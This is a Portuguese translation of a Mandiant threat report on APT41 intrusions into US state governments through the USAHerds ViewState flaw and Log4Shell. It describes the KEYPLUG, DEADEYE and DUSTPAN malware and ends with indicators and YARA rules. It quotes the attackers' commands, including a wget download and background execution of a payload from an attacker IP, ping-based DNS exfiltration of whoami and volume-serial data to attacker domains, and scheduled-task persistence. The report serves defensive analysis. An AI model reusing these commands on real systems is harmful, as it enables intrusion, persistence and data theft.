Um agente de ameaças com conhecimento do machineKey pode construir um ViewState malicioso e, em seguida, gerar um MAC novo e válido que o servidor aceita. Com um MAC válido, o servidor desserializará o ViewState malicioso, resultando na execução de código no servidor. Ferramentas disponíveis publicamente, como YSoSerial .NET , existem para construir esses ViewStates maliciosos. Foi exatamente assim que a APT41 iniciou sua campanha em maio de 2021.
Em junho de 2020, um ano antes do APT41 iniciar esta campanha, a Mandiant investigou um incidente em que o APT41 explorou uma vulnerabilidade de passagem de diretório especificamente para ler o arquivo web.config de um aplicativo da web vulnerável em um servidor da web da vítima. O APT41 então usou os valores machineKey do arquivo web.config para gerar uma carga maliciosa do ViewState para um exploit de desserialização. A Mandiant não identificou como o APT41 obteve originalmente os valores machineKey para o aplicativo proprietário explorado em maio de 2021 ou o aplicativo USAHerds, que foi explorado pela primeira vez em julho de 2021. No entanto, é provável que o APT41 tenha obtido o arquivo web.config por meios semelhantes.
Para criar ViewStates maliciosos, o APT41 contou com o projeto Github disponível publicamente, YSoSerial.NET. Para carregar com êxito assemblies .NET arbitrários na memória, o APT41 define o sinalizador de propriedade DisableActivitySurrogateSelectorTypeCheck como true na classe ConfigurationManager.AppSettings do aplicativo em execução por meio do payload ViewState. O APT41 carregou posteriormente assemblies .NET na memória usando cargas YSoSerial adicionais configuradas para gravar webshells em um caminho de arquivo codificado no disco.
Montagem .NET desserializada (dnSpy).
Webshell JScript desserializado.
Para obter informações adicionais sobre explorações de desserialização e nossa nova ferramenta de geração de regras de busca ‘HeySerial‘, leia nossa postagem no blog Now You Serial, Now You Don’t — Systematicalally Hunting for Deserialization Exploits.
Em três investigações de 2021, o APT41 explorou uma vulnerabilidade de dia zero no aplicativo da Web USAHerds. USAHerds é um aplicativo CoTS escrito em ASP.NET e usado por 18 estados para gerenciamento de saúde animal. A vulnerabilidade no USAHerds (CVE-2021-44207) é semelhante a uma vulnerabilidade relatada anteriormente no Microsoft Exchange Server (CVE-2020-0688), em que os aplicativos usavam uma validação estáticaKey e decryptionKey (coletivamente conhecidas como machineKey) por padrão. Como resultado, todas as instalações do USAHerds compartilharam esses valores, o que é contra a prática recomendada de usar valores machineKey gerados exclusivamente por instância do aplicativo.
A geração de valores machineKey exclusivos é fundamental para a segurança de um aplicativo Web ASP.NET porque os valores são usados para proteger a integridade do ViewState.
A Mandiant não identificou como o APT41 obteve originalmente os valores machineKey para USAHerds; no entanto, uma vez que o APT41 obteve o machineKey , eles foram capazes de comprometer qualquer servidor na Internet executando o USAHerds. Como resultado, há potencialmente vítimas desconhecidas adicionais.
A campanha APT41 mais recente começou logo após o lançamento do CVE-2021-44228 e suas explorações de prova de conceito relacionadas em dezembro de 2021. A exploração dessa vulnerabilidade, também conhecida como Log4Shell, faz com que o Java busque e desserialize um objeto Java remoto, resultando na execução de código potencial. Semelhante ao direcionamento de aplicativos da Web anterior, o APT41 continuou a usar cargas úteis de desserialização geradas pelo YSoSerial para realizar reconhecimento e implantar backdoors. Notavelmente, o APT41 implantou uma nova variante do backdoor KEYPLUG em servidores Linux em várias vítimas, uma subfamília de malware que agora rastreamos como KEYPLUG.LINUX. O KEYPLUG é um backdoor modular escrito em C++ que suporta vários protocolos de rede para tráfego de comando e controle (C2), incluindo HTTP, TCP, KCP sobre UDP e WSS. O APT41 usou fortemente a versão Windows do backdoor KEYPLUG nas vítimas do governo estadual entre junho de 2021 e dezembro de 2021, portanto, a implantação de uma versão portada do backdoor seguindo de perto a campanha do governo estadual foi significativa.
Depois de explorar o Log4Shell, o APT41 continuou a usar cargas úteis de desserialização para emitir comandos de ping para domínios, uma técnica que o APT41 costumava usar em vítimas do governo meses antes.
Comando Ping para Infraestrutura Controlada pelo Atacante.
ping -c 1 libxqagv[.]ns[.]dns3[.]cf
Ao obter acesso a um ambiente de destino, o APT41 executou o reconhecimento do host e da rede antes de implantar o KEYPLUG.LINUX para estabelecer uma base no ambiente. Os comandos de amostra usados para implantar o KEYPLUG.LINUX. Implantação do KEYPLUG.LINUX após a exploração do Log4j
wget http://103.224.80[.]44:8080/kernel
chmod 777 kernel
mv kernel .kernel
nohup ./.kernel &
O tradecraft atualizado e o novo malware continuam mostrando que o APT41 é um ator altamente adaptável e engenhoso. Nesta seção, detalhamos as técnicas pós-compromisso mais pertinentes.
Depois de obter acesso inicial a um servidor voltado para a Internet, o APT41 realizou extenso reconhecimento e coleta de credenciais. Uma tática comum observada é a implantação de um binário BADPATATO ofuscado pelo ConfuserEx para abusar da representação de pipe nomeado para o escalonamento de privilégio NT AUTHORITY\SYSTEM local. Depois que o APT41 escalou para os privilégios NT AUTHORITY\ SYSTEM, eles copiaram os hives de registro SAM e SYSTEM locais para um diretório de teste para coleta e exfiltração de credenciais. Além disso, o APT41 usou Mimikatz para executar o comando lsadump::sam nos hives de registro despejados para obter credenciais armazenadas localmente e hashes NTLM.
O APT41 também realizou o reconhecimento do Active Directory carregando a ferramenta de linha de comando do Windows dsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) e seu módulo associado dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) para um diretório de teste no servidor comprometido. A Figura 7 mostra vários comandos dsquery usados para enumerar vários objetos do Active Directory no ambiente.
Figura 7: Comandos de reconhecimento do Active Directory dsquery
c:\programdata\dsquery.exe * -filter “(objectCategory=Person)” -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Computer)” -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Computer)” -attr cnservicePrincipalName -L -limit 0
c:\programdata\dsquery.exe * -filter “(objectCategory=Group)” -uc -attr cn sAMAccountName distinguishedName description -limit 0
c:\programdata\dsquery.exe * -filter “(objectClass=organizationalUnit)” -attr ou name whenCreated distinguishedName gPLink -limit 0
Durante o estágio inicial de uma invasão do governo estadual dos EUA, a Mandiant identificou uma nova família de malware usada pelo APT41 que rastreamos como DUSTPAN. DUSTPAN é um dropper na memória escrito em C++ que aproveita o ChaCha20 para descriptografar cargas úteis incorporadas. Diferentes variações do DUSTPAN também podem carregar e executar uma carga útil de um caminho de arquivo codificado criptografado no binário. O DUSTPAN é consistente com o StealthVector de nome público , relatado pela Trend Micro em agosto de 2021. Durante a invasão, o DUSTPAN foi usado para soltar um backdoor Cobalt Strike BEACON.
O APT41 continua a alavancar malware avançado em seu kit de ferramentas existente, como o lançador DEADEYE e o backdoor LOWKEY, com recursos adicionais e técnicas anti-análise para dificultar as investigações. Durante uma invasão recente, a Mandiant identificou uma nova variante de malware, DEADEYE.EMBED, contida em um Alternate Data Stream de um arquivo local. As variantes DEADEYE.EMBED incorporam a carga útil dentro do binário compilado em vez de anexadas à sobreposição no final do arquivo, como visto em DEADEYE.APPEND.
O APT41 geralmente empacota seu malware com o VMProtect para retardar os esforços de engenharia reversa. Durante várias invasões do governo estadual dos EUA, o APT41 incorporou outra técnica de anti-análise ao fragmentar um binário DEADEYE empacotado pelo VMProtect em várias seções no disco. Dividir o binário em vários arquivos reduz a chance de que todas as amostras possam ser adquiridas com sucesso durante uma investigação forense. Convenções comuns de nomenclatura de arquivos usadas pelo APT41 ao implantar o DEADEYE em hosts vítimas.
Nomes de arquivo DEADEYE.
Esses arquivos seriam então combinados em uma única DLL antes da execução. Comando DEADEYE para concatenar seções DEADEYE.
“cmd” /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll
Além de separar o malware empacotado do VMProtect no disco, o APT41 alterou os nomes de seção padrão do VMProtect (.vmp) para nomes de seção UPX (.upx). Ao fazer isso, o malware pode evitar detecções básicas de caça que sinalizam binários empacotados com o VMProtect. Durante a exploração do Log4j, o APT41 também fragmentou um binário KEYPLUG.LINUX em quatro arquivos separados chamados “xaa”, ” xab”, ” xac” e ”xad”. O APT41 também empacotou o binário KEYPLUG.LINUX com VMProtect e usou nomes de seção UPX. Essa técnica é muito baixa em prevalência em nosso repositório de malware e ainda mais baixa em prevalência ao pesquisar em arquivos ELF.
O APT41 também atualizou os recursos de proteção de execução do DEADEYE usados durante a campanha. Guardrailing é uma técnica usada por malware para garantir que o binário seja executado apenas em sistemas que o agente da ameaça pretendia. As amostras DEADEYE de campanhas mais antigas usaram o número de série do volume do computador da vítima, mas foram atualizadas para usar o nome do host e/ou domínio DNS durante a campanha do governo estadual dos EUA. Para adquirir o nome de host e o domínio DNS do computador local, DEADEYE executa as funções WinAPI GetComputerNameA e/ou GetComputerNameExA e as fornece como entrada para uma chave de descriptografia gerada.
O APT41 continua a alavancar o tradecraft avançado para permanecer persistente e não detectado. Em várias instâncias, a versão para Windows do backdoor KEYPLUG aproveitou resolvedores de dead drop em dois fóruns separados da comunidade de tecnologia. O malware busca seu verdadeiro endereço C2 de dados codificados em uma postagem específica do fórum. Notavelmente, o APT41 continua atualizando as postagens do fórum da comunidade com frequência com novos resolvedores de dead drop durante a campanha. Historicamente, o APT41 tem usado esse tradecraft exclusivo durante outras invasões para ajudar a manter sua infraestrutura C2 oculta.
Para persistir a execução do DEADEYE, o APT41 aproveitou o comando schtasks /change para modificar as tarefas agendadas existentes que são executadas no contexto de SYSTEM. O APT41 geralmente usa o binário vivendo fora da terra (lolbin) shell32.dll!ShellExec_RunDLLA em tarefas agendadas para execução binária.
Tarefa Agendada Modificada.
SCHTASKS /Change /tn “\Microsoft\Windows\PLA\Server Manager Performance Monitor” /TR “C:\windows\system32\rundll32.exe C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat” /RL HIGHEST /RU “” /ENABLE
O APT41 aproveitou as seguintes tarefas agendadas do Windows para a persistência de droppers DEADEYE em invasões do governo estadual dos EUA:
• \Microsoft\Windows\PLA\Server Manager Performance Monitor
• \Microsoft\Windows\Ras\ManagerMobility
• \Microsoft\Windows\WDI\SrvSetupResults
• \Microsoft\Windows\WDI\USOShared
Outra técnica usada pelo APT41 para lançar malware é por meio da adição de uma importação maliciosa à Tabela de Endereços de Importação (IAT) de binários legítimos do Windows PE. Como resultado, assim que o binário legítimo for executado, ele carregará a biblioteca maliciosa e chamará seu DllEntryPoint.
IAT modificado (CFF Explorer).
O APT41 continua adaptando seu malware aos ambientes das vítimas por meio de seu backdoor passivo furtivo LOWKEY.PASSIVE. Durante uma intrusão, o APT41 explorou um servidor USAHerds e, posteriormente, executou DEADEYE.APPEND que descartou LOWKEY.PASSIVE na memória. A amostra LOWKEY.PASSIVE identificada ouviu conexões de entrada que solicitam um dos seguintes endpoints de URL:
• http://<HOST:PORT>/USAHerds/Common/%s.css
• https://<HOST:PORT>/USAHerds/Common/%s.css
O APT41 configurou frequentemente endpoints de URL LOWKEY.PASSIVE para se mascarar como tráfego normal de aplicativos da Web em um servidor infectado.
O APT41 aumentou substancialmente o uso dos serviços Cloudflare para comunicações C2 e exfiltração de dados. Especificamente, o APT41 aproveitou o Cloudflare Workers para implantar código sem servidor acessível por meio do Cloudflare CDN, que ajuda o tráfego C2 do proxy para a infraestrutura operada pelo APT41.
Em várias vítimas, o APT41 emitiu comandos de ping em que a saída de um comando de reconhecimento foi anexada a subdomínios da infraestrutura com proxy da Cloudflare. Depois que o comando ping foi executado, o resolvedor de DNS local tentou resolver o domínio fabricado que contém a saída do comando anexado. A pesquisa direta de DNS acabou atingindo os servidores de nomes Cloudflare do domínio primário, que não conseguiram resolver um endereço IP para o domínio fabricado. No entanto, os logs de atividade do DNS do domínio controlado pelo invasor registraram a pesquisa de DNS do subdomínio, permitindo que o grupo coletasse a saída do comando de reconhecimento.
Exfiltração de Reconhecimento.
$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace(‘-‘,”)+””[.]ns[.]time12[.]cf””)
Figura 13: Exfiltração de Reconhecimento
cmd.exe /c ping %userdomain%[.]ns[.]time12[.]
O APT41 emitiu um comando para encontrar o número de série do volume do sistema, que historicamente tem sido usado como chave de descriptografia para cargas úteis DEADEYE.
Exfiltração do número de série do volume.
ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+’.ns[.]time12[.]cf
Neste último exemplo, o comando imprime o comprimento do arquivo syslog_6-1.dat, provavelmente para garantir que ele tenha sido totalmente gravado no disco antes de combinar os vários arquivos no executável malicioso completo.
ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+””.ns[.]time12[.]cf””)
O APT41 aproveitou a técnica acima mencionada para mais exfiltração de dados por codificação hexadecimal de dados PII e antecedendo os resultados como subdomínios do domínio controlado pelo invasor. As pesquisas de DNS resultantes acionadas pelos comandos ping seriam registradas nos logs de atividade e disponíveis para o APT41.
O uso contínuo dos serviços Cloudflare pelo APT41 é exemplificado ainda mais em exemplos KEYPLUG desenvolvidos recentemente. A Mandiant identificou um recurso exclusivo adicionado ao KEYPLUG que aproveita o protocolo WebSocket sobre TLS (WSS) para comunicação C2. De acordo com a Cloudflare, o tráfego WebSocket pode ser estabelecido por meio dos servidores de borda Cloudflare CDN, que farão proxy de dados para o servidor de origem especificado.
O KEYPLUG inclui um arquivo de configuração codificado XOR de um byte codificado que lista o protocolo de comunicação específico, servidores e configurações adicionais. Depois que o KEYPLUG decodificar o arquivo de configuração codificado em tempo de execução, ele analisará a configuração para determinar o protocolo de rede e os servidores apropriados a serem usados para comando e controle. Depois que a configuração é analisada, o KEYPLUG escolhe aleatoriamente um bloco CIDR da lista e, em seguida, escolhe aleatoriamente um endereço IP dentro do bloco CIDR com base na contagem de ticks atual do computador infectado.
Configuração do KEYPLUG
WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1|
Os blocos CIDR listasão infraestrutura associada à CDN da Cloudflare que redirecionará a conexão WSS para o domínio malicioso.
Solicitação de atualização HTTP KEYPLUG.
Notificamos a Cloudflare sobre essa atividade maliciosa e eles tomaram medidas imediatas para interromper as comunicações com a infraestrutura maliciosa. O aumento do uso dos serviços Cloudflare pelo APT41 indica o desejo de aproveitar a flexibilidade do Cloudflare e impedir a identificação e o bloqueio de seus verdadeiros servidores C2.
A atividade recente do APT41 contra os governos estaduais dos EUA consiste em novos recursos significativos, desde novos vetores de ataque até ferramentas e técnicas pós-comprometimento. O APT41 pode adaptar rapidamente suas técnicas de acesso inicial, comprometendo novamente um ambiente por meio de um vetor diferente ou operacionalizando rapidamente uma nova vulnerabilidade. O grupo também demonstra vontade de reequipar e implantar recursos por meio de novos vetores de ataque, em vez de mantê-los para uso futuro. APT41 explorando o Log4J em estreita proximidade com a campanha USAHerds mostrou a flexibilidade do grupo para continuar visando governos estaduais dos EUA por meio de vetores de ataque cultivados e cooptados. Apesar de todas as novidades, algumas coisas permanecem inalteradas: o APT41 continua implacável pela acusação do Departamento de Justiça dos EUA (DOJ) em setembro de 2020.
KEYPLUG.LINUX 900ca3ee85dfc109baeed4888ccb5d39 355b3ff61db44d18003537be8496eb03536e300f e024ccc4c72eb5813cc2b6db7975e4750337a1cc619d7339b21fdbb32d93fd85
KEYPLUG.LINUX b82456963d04f44e83442b6393face47 996aa691bbc1250b571a2f5423a5d5e2da8317e6 d7e8cc6c19ceebf0e125c9f18b50167c0ee65294b3fce179fdab560e3e8e0192
DSQUERY 49f1daea8a115dd6fce51a1328d863cf e85427af661fe5e853c8c9398dc46ddde50e2241 ebf28e56ae5873102b51da2cc49cbbe43192ca2f318c4dfc874448d9b85ebd00
DSQUERY b108b28138b93ec4822e165b82e41c7a 7056b044f97e3e349e3e0183311bb44b0bc3464f 062a7399100454c7a523a938293bef7ddb0bc10636ed402be5f9797d8cc3c57e
BADPOTATO 143278845a3f5276a1dd5860e7488313 6f6b51e6c88e5252a2a117ca1cfb57934930166b a4647fcb35c79f26354c34452e4a03a1e4e338a80b2c29db97bba4088a208ad0
Campanha do Governo do Estado dos EUA – USAHerds (CVE-2021-44207) Exploração. 194[.]195[.]125[.]121
194[.]156[.]98[.]12
54[.]248[.]110[.]45
45[.]153[.]231[.]31
185[.]118[.]167[.]40
104[.]18[.]6[.]251
104[.]18[.]7[.]251
20[.]121[.]42[.]11
34[.]139[.]13[.]46
54[.]80[.]67[.]241
149[.]28[.]15[.]152
18[.]118[.]56[.]237
107[.]172[.]210[.]69
172[.]104[.]206[.]48
67[.]205[.]132[.]162
45[.]84[.]1[.]181
cdn[.]ns[.]time12[.]cf
leste[.]winsproxy[.]com
afdentry[.]estação de trabalho[.]eu[.]org
ns1[.]entrydns[.]eu[.]org
subnet[.]milissegundos[.]com
work[.]viewdns[.]ml
work[.]queryip[.]cf
Log4j (CVE-2021-44228) Exploração 103[.]238[.]225[.]37
182[.]239[.]92[.]31
microsoftfile[.]com
down-flash[.]com
libxqagv[.]ns[.]dns3[.]cf
rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config
{
meta:
author = “Mandiant”
description = “Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives.”
strings:
// TCP
$tcp1 = “TCP://” xor(0x01-0x2E)
$tcp2 = “TCP://” xor(0x30-0xFF)
$ptcp1 = “|TCP://” xor(0x01-0x2E)
$ptcp2 = “|TCP://” xor(0x30-0xFF)
// UDP
$udp1 = “UDP://” xor(0x01-0x2E)
$udp2 = “UDP://” xor(0x30-0xFF)
$pudp1 = “|UDP://” xor(0x01-0x2E)
$pudp2 = “|UDP://” xor(0x30-0xFF)
// WSS
$wss1 = “WSS://” xor(0x01-0x2E)
$wss2 = “WSS://” xor(0x30-0x52)
$wss3 = “WSS://” xor(0x54-0xFF)
$pwss1 = “|WSS://” xor(0x01-0x2E)
$pwss2 = “|WSS://” xor(0x30-0x52)
$pwss3 = “|WSS://” xor(0x54-0xFF)
// HTTP
$http1 = “+http” xor(0x01-0x73)
$http2 = “+http” xor(0x75-0xFF)
$phttp1 = “|+http” xor(0x01-0x73)
$phttp2 = “|+http” xor(0x75-0xFF)
// Sleep value
$zeros1 = “00|” xor(0x01-0x2F)
$zeros2 = “00|” xor(0x31-0xFF)
condition:
filesize < 10MB and
(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and
for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] – @[1] < 200) and
for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and
any of ($zeros*)
}
rule M_Hunting_MSIL_BADPOTATO
{
meta:
author = “Mandiant”
description = “Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO resource.”
strings:
$dotnetdll = “\x00_CorDllMain\x00”
$dotnetexe = “\x00_CorExeMain\x00”
$s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
$s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
$s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*)
}
Reconhecimentos.
Gostaríamos de agradecer aos nossos consultores de resposta a incidentes, aos respondentes de Defesa Gerenciada e aos engenheiros reversos do FLARE que possibilitaram esta pesquisa. Além disso, gostaríamos de agradecer a Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill e Nick Richard por suas revisões técnicas.
Fonte: Mandiant /DCiber